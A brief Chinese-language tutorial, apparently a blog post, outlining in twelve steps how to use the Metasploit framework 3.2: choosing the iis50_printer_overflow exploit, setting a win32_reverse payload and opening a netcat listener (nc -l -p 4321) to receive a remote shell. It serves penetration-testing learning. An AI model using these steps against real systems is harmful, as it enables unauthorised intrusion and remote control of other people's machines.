Metasploit是一个漏洞开发和利用的平台，功能非常强大，在内网渗透和漏洞replay方面非常有用，其网站地址为 http://www.metasploit.com/，最新版本为3.2，软件下载地址为 http://spool.metasploit.com/releases/framework-3.2.exe，有关平台相关的paper可以到 http://www.metasploit.com/research/conferences/进行下载。
     原文见附件MetaSploit使用初步教程，其实很简单，主要有以下几步：
（1）安装Metasploit
（2）运行Metasploit
（3）执行show exploits
（4）选择相应的exploits
（5）查看exploits。例如info iis50_printer_overflow
（6）使用exploits，例如use iis50_printer_overflow
（7）设置需要溢出程序的参数，例如设置端口和IP地址等。
（8）检查看能否溢出服务器或者PC ，执行check命令
（9）查看选项，show options，show payloads
（10）查看溢出的一些选项，info win32_reverse
（11）设置溢出选项，set payload win32_reverse
（12）使用nc监听，以获取shell，nc -l -p 4321
大致就这些吧，具体需要自己去体会。呵呵。